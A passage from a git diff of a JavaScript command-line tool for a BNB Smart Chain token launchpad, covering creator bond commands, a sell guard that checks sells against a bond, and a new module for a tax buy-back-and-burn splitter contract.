${token}${net} (it runs 3 days later)`, + }) + } + if (raw.now < Number(b.deadline)) return fail(HINTS.NotDue, { deadline: view.deadline, secondsLeft: Number(b.deadline) - raw.now }) + if (view.violated) return fail(HINTS.Violated, { creatorBalance: view.creatorBalance, holdTokens: view.holdTokens, hint: `gang bond report --token ${token}${net}` }) + // two steps, anyone: ask (X held now), then settle 1 hour later (X held again) — so X can't be met for one tx only + if (b.requestAt === 0n) { + const sim = await simulate(ctx, me(), 'requestSettle', [token]) + if (sim.failed) return out({ success: false, step: 'request-settle', ...sim.failed }) + return out(send('requestSettle', [token], { + step: 'request-settle', creator: b.creator, bond: view.bond, quote: view.quote, settleRunsAbout: new Date((raw.now + SETTLE_DELAY) * 1000).toISOString(), + note: 'step 1 of 2: the bond can be settled 1 hour after this lands, if the creator still holds X then; until then a drop below X can be reported. Then run gang bond settle again', + })) + } + if (raw.now < Number(b.requestAt)) return fail('the settle wait is not over yet', { settleRunsAt: view.settleRunsAt, secondsLeft: Number(b.requestAt) - raw.now }) + const sim = await simulate(ctx, me(), 'settle', [token]) + if (sim.failed) return out({ success: false, step: 'settle', ...sim.failed }) + return out(send('settle', [token], { step: 'settle', creator: b.creator, refund: view.bond, quote: view.quote, note: 'step 2 of 2: the bond goes back to the creator, whoever sends this' })) + } + + if (sub === 'burn') { + if (view.state !== 'slashed' || b.burnLeft === 0n) return fail(HINTS.NothingToBurn, { state: view.state, ...(view.burnLeft && { burnLeft: view.burnLeft }) }) + const slippage = parseNum(fail, 'slippage', opt('slippage', '1'), 0, 50) + const [ready, quoteIn, tokensOut] = await ctx.read(ctx.bond, BOND_ABI, 'previewBurn', [token]) + // not ready: the call only records / waits. If a chunk has become buyable by the time it lands, the max minimum + // makes it revert (Slippage) instead of buying unchecked: re-run for a priced preview + const toDead = ready && !m.live + // the minimum comes from the chunk simulated with no minimum: previewBurn prices the whole quoteIn, so a quote that + // taxes transfers into the pair (fewer tokens bought) would fail every minimum taken from it + let expect = tokensOut + if (ready && !toDead) { + const dry = await simulate(ctx, me(), 'burnChunk', [token, 0n]) + if (dry.result) expect = dry.result[1] + } + const minOut = toDead ? 0n : ready ? (expect * BigInt(Math.round((100 - slippage) * 100))) / BPS : MAX_UINT + const sim = await simulate(ctx, me(), 'burnChunk', [token, minOut]) + if (sim.failed) return out({ success: false, step: 'burn', ...sim.failed }) + return out(send('burnChunk', [token, minOut], { + step: 'burn', burnLeft: view.burnLeft, quote: view.quote, + ...(toDead ? { quoteToDead: qf(quoteIn), note: 'slashed before the pair and still no pair 30 days after the post: the rest goes to 0xdead as quote' } + : ready ? { chunkQuoteIn: qf(quoteIn), expectBurnTokens: tokens(expect), minBurnTokens: tokens(minOut), slippagePct: slippage } + : { note: 'no chunk this time: the call records the price observation (first call after a slash) or waits for the 10-minute average / a price no more than 2% above it. It is cheap; the platform keeper also calls it every 5 minutes (one chunk per 4 minutes at most). If a chunk becomes buyable before it lands, it reverts (Slippage) rather than buy without a minimum: re-run then' }), + })) + } + + // creator commands (any time after create: on the curve / during the sale too) + if (!same(me(), m.creator)) return fail(HINTS.NotCreator, { wallet: me(), creator: m.creator }) + + if (sub === 'post') { + if (view.state === 'active' || (view.state === 'slashed' && b.burnLeft > 0n)) return fail(HINTS.BondLive, { ...pub }) + if (!flag('hold')) fail('--hold required: the creator\'s balance must stay at least this until the deadline') + if (flag('amount') === flag('cover')) fail('pass exactly one of --amount or --cover (e.g. --cover 100 for full cover)') + const hold = parseHold(fail, opt('hold')) + const days = parseIntIn(fail, 'days', opt('days'), 7, 90) + if (hold === 0n) fail('--hold rounds to 0 tokens') + if (hold > raw.bal) { + fail('--hold is above the creator\'s balance now', { + hold: tokens(hold), balance: tokens(raw.bal), ...(!m.live && m.kind === 'v3' && raw.bal === 0n && { hint: `buy on the curve first (gang v3 buy --token ${token}${net}), then bond what you hold` }), + }) + } + if (flag('cover') && !m.live) fail('--cover needs the PancakeSwap pair to price X: before graduation / launch give --amount ') + const dump = m.live ? await ctx.read(ctx.bond, BOND_ABI, 'quoteDump', [token, hold]) : null + const amount = flag('amount') ? parseUnits(parseAmount(fail, 'amount', opt('amount')), raw.dec) + : ceilDiv(dump * BigInt(Math.round(parseNum(fail, 'cover', opt('cover'), 1, 1000) * 100)), BPS) + if (amount === 0n) fail('the bond rounds to 0') + const duration = BigInt(days * DAY) + const pay = await payment(ctx, me(), raw.quote, amount, view.quote, flag('use-wbnb'), rawOnly, summarize) + if (pay.pre) return out(pay.pre) + const sim = await simulate(ctx, me(), 'post', [token, amount, hold, duration], pay.value) + if (sim.failed) return out({ success: false, step: 'post', ...sim.failed }) + const cov = !dump ? null : (amount * BPS) / dump + const until = m.live ? 'the deadline' : `${days} days after the token ${m.kind === 'v3' ? 'graduates' : 'launches'}` + return out(send('post', [token, amount, hold, duration], { + step: 'post', bond: qf(amount), quote: view.quote, payWith: pay.value ? 'BNB' : view.quote, + holdTokens: tokens(hold), holdPctOfSupply: Number((hold * 1_000_000n) / TOTAL_SUPPLY) / 10_000, creatorBalance: tokens(raw.bal), days, + ...(m.live + ? { + deadlineAbout: new Date((raw.now + days * DAY) * 1000).toISOString(), + dumpValue: qf(dump), coveragePct: cov == null ? null : pctOfBps(cov), tier: cov == null ? 'full' : tierOf(cov), + toFullCover: dump > amount ? qf(dump - amount) : '0', + } + : { + clock: `starts when the token ${m.kind === 'v3' ? 'graduates' : 'launches'}: deadline = that moment + ${days} days`, + refundRequestFrom: new Date((raw.now + MAX_WAIT) * 1000).toISOString(), + coverageNote: 'no coverage before the pair: gang.fun shows the bond amount and X until it trades on PancakeSwap', + }), + warning: `from now until settled after ${until}, keep at least ${tokens(hold)} tokens in ${m.creator}: below that anyone can report it, the reporter takes 1% and the rest of the bond buys back and burns the token.` + + (m.live ? ' There is no early withdrawal.' : ' There is no early withdrawal; only if the token has no pair 30 days after this post can you ask for it back, and it comes back 3 days after asking if the token still has no pair and X is still held.') + + ` ${CLI_ONLY}`, + }, pay.value)) + } + + if (view.state !== 'active') return fail(HINTS.NotActive, { ...pub }) + + if (sub === 'topup') { + if (flag('amount') === flag('cover')) fail('pass exactly one of --amount or --cover ') + let amount + if (flag('amount')) amount = parseUnits(parseAmount(fail, 'amount', opt('amount')), raw.dec) + else { + if (raw.pending) fail('--cover needs the clock running on the PancakeSwap pair: give --amount ', { phase: 'pending' }) + const target = ceilDiv(raw.dump * BigInt(Math.round(parseNum(fail, 'cover', opt('cover'), 1, 1000) * 100)), BPS) + if (target <= b.amount) return fail(`the bond already covers ${view.coveragePct}%: nothing to add for --cover ${opt('cover')}`, { bond: view.bond, dumpValue: view.dumpValue }) + amount = target - b.amount + } + const pay = await payment(ctx, me(), raw.quote, amount, view.quote, flag('use-wbnb'), rawOnly, summarize) + if (pay.pre) return out(pay.pre) + const sim = await simulate(ctx, me(), 'topUp', [token, amount], pay.value) + if (sim.failed) return out({ success: false, step: 'topup', ...sim.failed }) + const total = b.amount + amount + const cov = !raw.dump ? null : (total * BPS) / raw.dump + const tcov = raw.dump == null ? null : tierBps(total, raw.dump, raw.anchor) + return out(send('topUp', [token, amount], { + step: 'topup', add: qf(amount), bondAfter: qf(total), quote: view.quote, payWith: pay.value ? 'BNB' : view.quote, + dumpValue: view.dumpValue, coveragePct: cov == null ? null : pctOfBps(cov), + tier: tcov == null || tcov === MAX_UINT ? 'full' : tierOf(tcov), ...(view.tierBasis && { tierBasis: view.tierBasis }), deadline: view.deadline, + note: 'a bond can only grow: nothing comes back before settle', + }, pay.value)) + } + + if (sub === 'raise-hold') { + if (!flag('hold')) fail('--hold required') + const hold = parseHold(fail, opt('hold')) + if (hold < b.holdAmount) fail('--hold is below the current X: X can only go up', { holdTokens: view.holdTokens }) + if (hold > raw.bal) fail('--hold is above the creator\'s balance now', { balance: view.creatorBalance }) + const sim = await simulate(ctx, me(), 'raiseHold', [token, hold]) + if (sim.failed) return out({ success: false, step: 'raise-hold', ...sim.failed }) + const dump = m.live ? await ctx.read(ctx.bond, BOND_ABI, 'quoteDump', [token, hold]) : null + const cov = !dump ? null : (b.amount * BPS) / dump + // gang.fun's new anchor: the dump of the new X now, or the old anchor scaled to it if lower (a raise after a rise), + // never below the old anchor (a raise in a dip must not lock in a low one) + const scaled = raw.anchor == null || !b.holdAmount ? null : (raw.anchor * hold) / b.holdAmount + const lower = scaled == null || dump == null ? null : dump < scaled ? dump : scaled + const anchor = lower == null ? null : lower > raw.anchor ? lower : raw.anchor + const tcov = dump == null ? null : tierBps(b.amount, dump, anchor) + return out(send('raiseHold', [token, hold], { + step: 'raise-hold', holdBefore: view.holdTokens, holdAfter: tokens(hold), creatorBalance: view.creatorBalance, + ...(dump != null && { + dumpValueAfter: qf(dump), coveragePctAfter: cov == null ? null : pctOfBps(cov), + tierAfter: tcov === MAX_UINT ? 'full' : tierOf(tcov), ...(view.tierBasis && { tierBasis: view.tierBasis }), + }), + deadline: view.deadline, + note: 'X can only go up; a higher X means dumping it fetches more, so the same bond covers less', + })) + } + + if (sub === 'extend') { + const days = parseIntIn(fail, 'days', opt('days'), 1, 90) + const by = BigInt(days * DAY) + if (raw.pending) { + // before the pair: the duration grows (90 days in all at most) + if (Number(b.duration) + days * DAY > 90 * DAY) fail('the commitment would be more than 90 days in all', { durationDays: view.durationDays, maxDays: Math.floor((90 * DAY - Number(b.duration)) / DAY) }) + } else if (Number(b.deadline) + days * DAY > raw.now + 90 * DAY) { + fail('the new deadline would be more than 90 days from now', { deadline: view.deadline, maxDays: Math.floor((raw.now + 90 * DAY - Number(b.deadline)) / DAY) }) + } + const sim = await simulate(ctx, me(), 'extend', [token, by]) + if (sim.failed) return out({ success: false, step: 'extend', ...sim.failed }) + return out(send('extend', [token, by], { + step: 'extend', days, + ...(raw.pending + ? { durationDaysBefore: view.durationDays, durationDaysAfter: view.durationDays + days, clock: 'starts at graduation / launch' } + : { deadlineBefore: view.deadline, deadlineAfter: new Date((Number(b.deadline) + days * DAY) * 1000).toISOString(), coveragePct: view.coveragePct }), + })) + } + + return fail(USAGE, { got: sub }) +} + +/** + * Sell protection for the creator's own sells: gang v3 sell (curve or pool), gang fair sell (pool), gang fair withdraw + * (shares back to the pad while minting). `p`: { token, me, amount, + * breakBond, settleFirst, testnet }. Returns null when there is nothing to guard (no GangBond on this network, no active + * bond, not the creator), else one of: + * - { refuse: {…} } — the sell would leave less than X before the deadline (no --break-bond), or after the deadline + * before settle (no --settle-first): print it as the failure; + * - { settleStep: {…} } — --settle-first after the deadline: send this step first (ask to settle, or settle once the + * 1-hour wait is over), then re-run the sell; + * - { info: {…} } — go on, with these fields added to the preview (headroom after the sell, or the --break-bond warning). + */ +export async function bondGuard(ctx, p, rawOnly, summarize) { + // the token's generation's GangBond when ctx is on its pad (atTokenPad), else the create target's + const addr = 'bond' in ctx ? ctx.bond : bondAddress(p.testnet) + if (!addr) return null + let b + try { b = await ctx.read(addr, BOND_ABI, 'bondOf', [p.token]) } catch (e) { + // never let an unread bond pass a sell that may break it + if (p.breakBond) return null + return { refuse: { error: 'cannot read this token\'s GangBond, so the sell is not checked against a bond', bondContract: addr, detail: e.shortMessage || e.message.split('\n')[0], hint: 're-run; --break-bond skips the check' } } + } + if (Number(b.state) !== 1 || !same(b.creator, p.me)) return null + let bal, block, dec + try { + ;[bal, block, dec] = await Promise.all([ctx.read(p.token, ERC20_ABI, 'balanceOf', [p.me]), ctx.client.getBlock(), decimalsOf(ctx, b.quote)]) + } catch (e) { + if (p.breakBond) return null + return { refuse: { error: 'RPC error while checking the sell against your bond', bondContract: addr, detail: e.shortMessage || e.message.split('\n')[0], hint: 're-run; set GANG_RPC_URL / GANG_TESTNET_RPC_URL if the RPC keeps failing' } } + } + const after = bal > p.amount ? bal - p.amount : 0n + // pending (deadline 0, posted before the pair): the promise binds, nothing is past due + const pastDeadline = b.deadline !== 0n && Number(block.timestamp) >= Number(b.deadline) + const base = { + bondContract: addr, holdTokens: tokens(b.holdAmount), balanceBefore: tokens(bal), balanceAfter: tokens(after), + bond: formatUnits(b.amount, dec), + ...(b.deadline === 0n ? { clock: 'starts at graduation / launch' } : { deadline: new Date(Number(b.deadline) * 1000).toISOString() }), + } + if (after >= b.holdAmount) { + return { info: { bondCheck: { ...base, headroomAfter: tokens(after - b.holdAmount), ...(pastDeadline && { note: 'past the deadline: settle the bond (gang bond settle) to get it back; until then it can still be reported if the balance drops below X' }) } } } + } + const net = p.testnet ? ' --testnet' : '' + if (pastDeadline && bal >= b.holdAmount) { + if (!p.settleFirst) { + return { refuse: { error: `the bond is past its deadline but not settled: this sell leaves ${tokens(after)} tokens, below X (${tokens(b.holdAmount)}), and anyone could report it before you settle`, ...base, hint: `run gang bond settle --token ${p.token}${net} first (two steps, 1 hour apart), or add --settle-first to this sell` } } + } + const now = Number(block.timestamp) + if (b.requestAt !== 0n && now < Number(b.requestAt)) { + return { refuse: { error: 'settle is asked for but its 1-hour wait is not over: keep X until it runs, then settle and sell', ...base, settleRunsAt: new Date(Number(b.requestAt) * 1000).toISOString(), secondsLeft: Number(b.requestAt) - now } } + } + const fn = b.requestAt === 0n ? 'requestSettle' : 'settle' + const data = encodeFunctionData({ abi: BOND_ABI, functionName: fn, args: [p.token] }) + const note = fn === 'requestSettle' + ? 'ask to settle first (step 1 of 2): 1 hour after it lands, settle (the bond comes back to you) and then sell; keep X until then' + : 'settle first (the bond comes back to you); after executing, re-run the same sell' + return { settleStep: step(ctx, { from: p.me, to: addr, data }, { step: fn === 'requestSettle' ? 'request-settle' : 'settle', chainId: Number(ctx.chainId), token: p.token, refund: base.bond, ...base, note }, rawOnly, summarize) } + } + const lost = formatUnits(b.amount, dec) + const consequence = `anyone can report it, the reporter takes 1% and the rest of the ${lost} bond buys back and burns the token` + const warning = bal < b.holdAmount + ? `the bond is already broken: you hold ${tokens(bal)} tokens, below the bonded X (${tokens(b.holdAmount)}), so ${consequence}. Selling more does not change that; buying back to X before anyone reports does` + : `this sell leaves ${tokens(after)} tokens, below the bonded X (${tokens(b.holdAmount)}) before the bond is settled: ${consequence}. You lose the whole bond` + if (!p.breakBond) return { refuse: { error: warning, ...base, maxSellKeepingBond: tokens(bal > b.holdAmount ? bal - b.holdAmount : 0n), hint: 'sell at most maxSellKeepingBond, or add --break-bond once the user accepts losing the bond' } } + return { info: { bondCheck: { ...base, warning, brokeBond: true } } } +} diff --git a/src/buyback.js b/src/buyback.js new file mode 100644 index 0000000..d0dc748 --- /dev/null +++ b/src/buyback.js @@ -0,0 +1,306 @@ +import { createPublicClient, parseAbi, encodeFunctionData, formatUnits, hexToString, isAddress, zeroAddress } from 'viem' +import { atPad, atTokenPad, GANG_GENS, KIND_UNREAD, gangGens, listedBy, padNets, NOT_ON_MAINNET, rpcTransport } from './gangpad.js' +import { walletFor } from './fair.js' +import { parseNum, revertOf as revertIn, step } from './steps.js' + +/** + * `gang buyback …` and `gang create … --buyback [--buyback-to ]` — GangBuybackSplitter (dev 税按比例回购 + * 销毁): a V3 token's tax recipient that splits each payment between a buy-back in the token's PancakeSwap pool, sent to + * 0xdead, and the dev's payee (the dev unless it names another address; v2 splitters only, `gang buyback set-payee`). + * GangBuybackSplitterFactory clones one per token for the dev (`create(bps, salt, payee)`, at `predict(dev, salt)`) and has + * GangHandlerAdmin list it, so the dev names it as the recipient at create (launch.js does the three steps: clone → + * create → bind). A dev who doesn't + * want it leaves --buyback out: the tax goes to their own address as before. + * The ratio: a raise applies at once, a cut 3 days after it is asked for (then anyone applies it within 7 days, or it + * lapses). The keeper buys back in chunks (≤ 0.5% of the pool's quote side, never > 2% above the 10-minute average). + * Env: GANG_SPLITTER_FACTORY / GANG_TESTNET_SPLITTER_FACTORY override the create target's factory (gangpad.js). + */ + +// one factory per GangLaunchpad generation (it is bound to one pad): the create target's (GANG_GENS in gangpad.js) +export const MAINNET_SPLITTER_FACTORY = GANG_GENS.mainnet[0].splitterFactory +export const TESTNET_SPLITTER_FACTORY = GANG_GENS.testnet[0].splitterFactory +/** The factories' clones; v1 (mainnet's first factory, 0x6bcd…8546) pays the dev, v2 and later their payee; v3 buys at + * most one chunk per 4 minutes (GangBond audit H-1); v4 (GangLaunchpad 2.0's factory) prices a chunk on what the pair + * received (re-review L-1). Same calls from v2 on. */ +const BUYBACK_TYPES = ['buyback-burn-v1', 'buyback-burn-v2', 'buyback-burn-v3', 'buyback-burn-v4'] + +export const FACTORY_ABI = parseAbi([ + 'function create(uint16 buybackBps, bytes32 salt, address payee) returns (address splitter)', + 'function predict(address dev, bytes32 salt) view returns (address)', + 'function pad() view returns (address)', + 'error NotAgent()', + 'error NotFactory()', + 'error BadBps()', +]) + +export const SPLITTER_ABI = parseAbi([ + 'function moduleType() view returns (bytes32)', + 'function dev() view returns (address)', + 'function token() view returns (address)', + 'function quote() view returns (address)', + 'function buybackBps() view returns (uint16)', + 'function pendingCut() view returns (bool live, uint16 bps, uint64 at)', + 'function buybackLeft() view returns (uint256)', + 'function unsplit() view returns (uint256)', + 'function devOwed() view returns (uint256)', + 'function previewBurn() view returns (bool ready, uint256 quoteIn, uint256 tokensOut)', + 'function bind(address token)', + 'function setBuybackBps(uint16 newBps)', + 'function applyBuybackBps()', + 'function releaseDev() returns (uint256)', + 'function split()', + 'function sweep(address asset)', + 'function pad() view returns (address)', + 'function payee() view returns (address)', + 'function setPayee(address newPayee)', + 'error NotDev()', + 'error BadBps()', + 'error AlreadyBound()', + 'error NotCurve()', + 'error NotCreator()', + 'error NotRecipient()', + 'error NoProposal()', + 'error NotDue()', + 'error CutLapsed()', + 'error NothingOwed()', + 'error NotBound()', + 'error NotSweepable()', +]) + +const PAD_ABI = parseAbi([ + 'function taxConfigOf(address token) view returns (uint16 buyTaxBps, uint16 sellTaxBps, uint16 dividendBps, address recipient)', +]) + +const HINTS = { + NotAgent: 'only an Agent can create a V3 token, so only an Agent gets a buy-back splitter', + NotFactory: 'this factory is not allowed on the platform\'s GangHandlerAdmin (any more): it cannot list a splitter', + NotDev: 'only the dev this splitter was made for can change its ratio', + NotCreator: 'the token was not created by this splitter\'s dev', + NotRecipient: 'the token does not pay its tax to this splitter', + AlreadyBound: 'the splitter is bound to a token already', + NotDue: 'the 3-day notice of this cut has not run yet', + CutLapsed: 'the cut was not applied within 7 days after its notice and has lapsed: ask for it again', + NoProposal: 'no cut asked for', + NothingOwed: 'nothing is owed to the dev', + NotBound: 'the splitter is not bound to a token yet', + NotSweepable: 'sweep never moves the splitter\'s own quote: gang buyback split splits it', +} +const revertOf = (e) => revertIn(e, [SPLITTER_ABI, FACTORY_ABI], HINTS) + +export function splitterFactoryAddress(testnet) { + return gangGens(testnet)[0].splitterFactory || null +} + +export const notDeployed = (testnet) => + `GangBuybackSplitterFactory is not deployed on ${testnet ? 'the BSC testnet' : 'BSC mainnet'} in this CLI version: set ${testnet ? 'GANG_TESTNET_SPLITTER_FACTORY' : 'GANG_SPLITTER_FACTORY'} to its address` + +/** --buyback (0–100, the share of the recipient's part bought back) in bps. */ +export const buybackBpsOf = (fail, raw) => Math.round(parseNum(fail, 'buyback', raw, 0, 100) * 100) + +const pct = (bps) => Number(bps) / 100 +const SYMBOL_ABI = parseAbi(['function symbol() view returns (string)']) +const ASSET_ABI = parseAbi(['function symbol() view returns (string)', 'function decimals() view returns (uint8)', 'function balanceOf(address) view returns (uint256)']) + +/** --asset |wbnb of a sweep (required). */ +export function sweepAsset(opt, fail, wbnb) { + const a = opt('asset') + if (/^wbnb$/i.test(a ?? '')) return wbnb + if (!isAddress(a ?? '') || a === zeroAddress) fail('--asset |wbnb required: the asset to send to the payee (any but the splitter\'s own quote)', { got: a ?? null }) + return a +} + +/** + * `sweep` of a buy-back / LP splitter, from the raw reads (pure: unit-tested): the splitter's whole balance of `asset` + * goes to the payee (the contract refuses its own quote and an unbound splitter). { error } when it can't. + */ +export function sweepPlan({ asset, quote, balance, decimals = 18, symbol, payee, cmd }) { + if (!quote || /^0x0{40}$/.test(quote)) return { error: 'the splitter is not bound to a token yet: sweep works once it is bound (its launch binds it)' } + if (asset.toLowerCase() === quote.toLowerCase()) return { error: `that is the splitter's own quote: sweep never moves it; ${cmd} split splits it (the payee's part now, the rest set aside)` } + if (BigInt(balance) === 0n) return { error: `the splitter holds no ${symbol ?? asset}: nothing to sweep` } + return { asset, assetSymbol: symbol ?? null, amount: formatUnits(BigInt(balance), Number(decimals)), payee } +} + +/** The reads behind sweepPlan: the splitter's quote and its balance of `asset`. */ +export async function sweepReads(read, splitter, abi, asset) { + const [quote, balance, decimals, symbol] = await Promise.all([ + read(splitter, abi, 'quote'), read(asset, ASSET_ABI, 'balanceOf', [splitter]), + read(asset, ASSET_ABI, 'decimals').catch(() => 18), read(asset, ASSET_ABI, 'symbol').catch(() => null), + ]) + return { quote, balance, decimals, symbol } +} + +/** A module named by --module that no GangLaunchpad pad of this network owns, or that its GangHandlerAdmin never listed. */ +export const notListed = (what, net) => + `not one of the platform's ${what}s: no GangLaunchpad pad${net ? ' on the BSC testnet' : ''} lists it (GangHandlerAdmin moduleOf), so the CLI will not call it` + +/** + * `split` of a buy-back / LP splitter, from the raw reads (pure: unit-tested): what arrived since the last split + * (`unsplit`), the share set aside (`bps`, for `part`: the buy-back or the liquidity) and the payee's part, pushed now. + * { error } when nothing waits to be split. + */ +export function splitPlan({ unsplit, bps, left, payee, part, leftField, symbol, unbound }) { + const waiting = BigInt(unsplit) + if (waiting === 0n) { + return { + error: unbound ? 'nothing to split: the splitter is not bound to a token yet, so it has no quote' + : `nothing waits to be split: no quote arrived since the last split${BigInt(left) > 0n ? ` (${leftField} ${formatUnits(BigInt(left), 18)} is already set aside)` : ''}`, + } + } + const setAside = (waiting * BigInt(bps)) / 10_000n + const toPayee = waiting - setAside + return { + quote: symbol, splitting: formatUnits(waiting, 18), toPayee: formatUnits(toPayee, 18), payee, + setAside: formatUnits(setAside, 18), setAsideFor: part, [`${leftField}After`]: formatUnits(BigInt(left) + setAside, 18), + } +} +const iso = (s) => new Date(Number(s) * 1000).toISOString() + +/** The splitter's state when `addr` is a GangBuybackSplitter; null when it is not (an EOA, a partner, another module). */ +export async function splitterOf(read, addr) { + if (!addr || addr === zeroAddress) return null + let type + try { type = await read(addr, SPLITTER_ABI, 'moduleType') } catch { return null } + const moduleType = hexToString(type, { size: 32 }).replace(/\0+$/, '') + if (!BUYBACK_TYPES.includes(moduleType)) return null + const [dev, token, bps, cut, left, unsplit, owed, burn] = await Promise.all( + ['dev', 'token', 'buybackBps', 'pendingCut', 'buybackLeft', 'unsplit', 'devOwed', 'previewBurn'].map((f) => read(addr, SPLITTER_ABI, f))) + // v1 has no payee: it pays the dev + const hasPayee = moduleType !== 'buyback-burn-v1' + const payee = hasPayee ? await read(addr, SPLITTER_ABI, 'payee') : dev + const toDev = payee.toLowerCase() === dev.toLowerCase() + // the pad takes 18-decimal quotes only + const q = (x) => formatUnits(x, 18) + return { + splitter: addr, moduleType, dev, payee, payeeChangeable: hasPayee, token: token === zeroAddress ? null : token, buybackPct: pct(bps), buybackBps: Number(bps), + pendingCut: cut[0] ? { toPct: pct(cut[1]), appliesFrom: iso(cut[2]), lapsesAfter: iso(Number(cut[2]) + 7 * 86400) } : null, + buybackLeft: q(left), unsplit: q(unsplit), devOwed: q(owed), + nextChunk: burn[0] ? { quoteIn: q(burn[1]), tokensBurned: formatUnits(burn[2], 18) } : null, + note: `${pct(bps)}% of each tax payment to this recipient is bought back in the pool and burned (0xdead), the rest goes to ${toDev ? 'the dev' : `the payee ${payee}`}; a raise applies at once, a cut only 3 days after it is asked for${hasPayee ? '; the dev can change the payee at once (gang buyback set-payee)' : ''}`, + } +} + +function buybackCtx(testnet) { + const net = padNets('v3')[testnet ? 'testnet' : 'mainnet'] + if (!net.pad) throw new Error(NOT_ON_MAINNET) + const client = createPublicClient({ chain: net.chain, transport: rpcTransport(net.rpcs) }) + return { ...net, client, read: (address, abi, functionName, args = []) => client.readContract({ address, abi, functionName, args }) } +} + +/** Dry-run a call; { failed } with the revert when it would not pass. */ +export async function simulateCall(client, from, address, abi, functionName, args = []) { + try { + const { result } = await client.simulateContract({ account: from, address, abi, functionName, args }) + return { result } + } catch (e) { + const r = revertOf(e) + return { failed: r ? { reverted: true, ...r } : { reverted: false, error: e.shortMessage || e.message.split('\n')[0] } } + } +} + +const SUBS = ['status', 'set', 'set-payee', 'apply', 'bind', 'release', 'split', 'sweep'] +const USAGE = 'usage: gang buyback --token (split / sweep: or --module ) [--pct <0-100>] [--to ] [--asset |wbnb] [--testnet] — see gang help' + +/** `gang buyback `: the splitter of a V3 token (its tax recipient), found from --token. */ +export async function runBuyback(sub, { opt, flag, out, fail, summarize }) { + if (!SUBS.includes(sub)) return fail(USAGE, { got: sub ?? null }) + const testnet = flag('testnet') + const rawOnly = flag('calldata') + let ctx + try { ctx = buybackCtx(testnet) } catch (e) { return fail(e.message) } + // split / sweep may name the splitter itself (--module), e.g. the --to of a creator-fee claim + const named = (sub === 'split' || sub === 'sweep') && flag('module') + if (named && flag('token')) fail('give --token (its tax recipient is the splitter) or --module, not both') + let token = opt('token') + let recipient + if (named) { + recipient = opt('module') + if (!isAddress(recipient ?? '')) fail('--module must be a buy-back splitter address (0x…)', { got: recipient ?? null }) + const pad = await ctx.read(recipient, SPLITTER_ABI, 'pad').catch(() => null) + if (!pad || !atPad(ctx, pad, testnet)) return fail(notListed('buy-back splitter', testnet), { module: recipient }) + } else { + if (!isAddress(token ?? '')) fail('--token must be a V3 token address (0x…)', { got: token ?? null }) + if ((await atTokenPad(ctx, token)) === null) return fail(KIND_UNREAD.error, { token: token, retry: KIND_UNREAD.retry }) // else on the pad of the token's generation + try { recipient = (await ctx.read(ctx.pad, PAD_ABI, 'taxConfigOf', [token]))[3] } catch { + return fail('not a V3 token on this pad', { token, chainId: Number(ctx.chainId) }) + } + } + const s = await splitterOf(ctx.read, recipient) + if (!s) { + return fail(named ? 'not a buy-back splitter (buyback-burn-v1 … v4)' : 'this token\'s tax recipient is not a buy-back splitter', + named ? { module: recipient } : { token, recipient: recipient === zeroAddress ? null : recipient }) + } + if (named) token = s.token + const chainId = Number(ctx.chainId) + const me = () => walletFor(ctx, opt('from')) + const send = async (functionName, args, extra) => { + const sim = await simulateCall(ctx.client, me(), s.splitter, SPLITTER_ABI, functionName, args) + if (sim.failed) return out({ success: false, step: functionName, ...sim.failed }) + const data = encodeFunctionData({ abi: SPLITTER_ABI, functionName, args }) + return out(step(ctx, { from: me(), to: s.splitter, data }, { chainId, token, splitter: s.splitter, ...extra }, rawOnly, summarize)) + } + + if (sub === 'status') return out({ success: true, chainId, ...s, ...(s.token === null && { bound: false }) }) + + if (sub === 'bind') { + if (s.token) return fail('already bound', { boundTo: s.token }) + return send('bind', [token], { step: 'bind', note: 'anyone may bind; the token must be the dev\'s and pay its tax to this splitter' }) + } + + if (sub === 'set') { + if (me().toLowerCase() !== s.dev.toLowerCase()) return fail(HINTS.NotDev, { wallet: me(), dev: s.dev }) + if (!flag('pct')) fail('--pct <0-100> required: the new buy-back share') + const bps = Math.round(parseNum(fail, 'pct', opt('pct'), 0, 100) * 100) + return send('setBuybackBps', [bps], bps >= s.buybackBps + ? { step: 'set-buyback', fromPct: s.buybackPct, toPct: bps / 100, note: `applies at once${s.pendingCut ? ' and cancels the pending cut' : ''}` } + : { + step: 'ask-cut', fromPct: s.buybackPct, toPct: bps / 100, appliesFromAbout: new Date(Date.now() + 3 * 86400_000).toISOString(), + note: `a cut waits 3 days (holders see it coming), then anyone runs gang buyback apply --token ${token}${testnet ? ' --testnet' : ''} within 7 days or it lapses${s.pendingCut ? '; this replaces the cut already asked for' : ''}`, + }) + } + + if (sub === 'set-payee') { + if (!s.payeeChangeable) return fail('this splitter (buyback-burn-v1) has no payee: it pays the dev; only splitters from later factories (v2, v3) can name another address') + if (me().toLowerCase() !== s.dev.toLowerCase()) return fail('only the dev this splitter was made for can change its payee', { wallet: me(), dev: s.dev }) + const to = opt('to') + if (!isAddress(to ?? '') || to === zeroAddress) fail('--to <0x…> required (checksummed or all lowercase): the address the dev\'s part goes to from now on', { got: to ?? null }) + if (to.toLowerCase() === s.payee.toLowerCase()) return fail('that is the payee already', { payee: s.payee }) + return send('setPayee', [to], { + step: 'set-payee', fromPayee: s.payee, toPayee: to, + note: 'applies at once (the dev\'s own share; holders are not affected). Quote that arrived before is split to the current payee first; what is owed goes to the new one', + }) + } + + if (sub === 'apply') { + if (!s.pendingCut) return fail(HINTS.NoProposal, { buybackPct: s.buybackPct }) + if (Date.parse(s.pendingCut.appliesFrom) > Date.now()) return fail(HINTS.NotDue, { appliesFrom: s.pendingCut.appliesFrom }) + return send('applyBuybackBps', [], { step: 'apply-cut', fromPct: s.buybackPct, toPct: s.pendingCut.toPct, note: 'anyone may apply a cut once its notice ran' }) + } + + if (sub === 'split') { + if (!(await listedBy(ctx, s.splitter))) return fail(notListed('buy-back splitter', testnet), { module: s.splitter }) + const [waiting, left, quote] = await Promise.all(['unsplit', 'buybackLeft', 'quote'].map((f) => ctx.read(s.splitter, SPLITTER_ABI, f))) + const symbol = quote === zeroAddress ? null : await ctx.read(quote, SYMBOL_ABI, 'symbol').catch(() => null) + const plan = splitPlan({ unsplit: waiting, bps: s.buybackBps, left, payee: s.payee, part: 'buy-back', leftField: 'buybackLeft', symbol, unbound: !s.token }) + if (plan.error) return fail(plan.error, { splitter: s.splitter, buybackLeft: s.buybackLeft, devOwed: s.devOwed }) + const ref = `--token ${s.token}${testnet ? ' --testnet' : ''}` + return send('split', [], { + step: 'split', ...plan, + note: `anyone may: splits what arrived since the last split. ${plan.toPayee} goes to the payee now (should that push fail, it is owed: gang buyback release ${ref}); ${plan.setAside} (${s.buybackPct}%) is set aside for the buy-back, which the 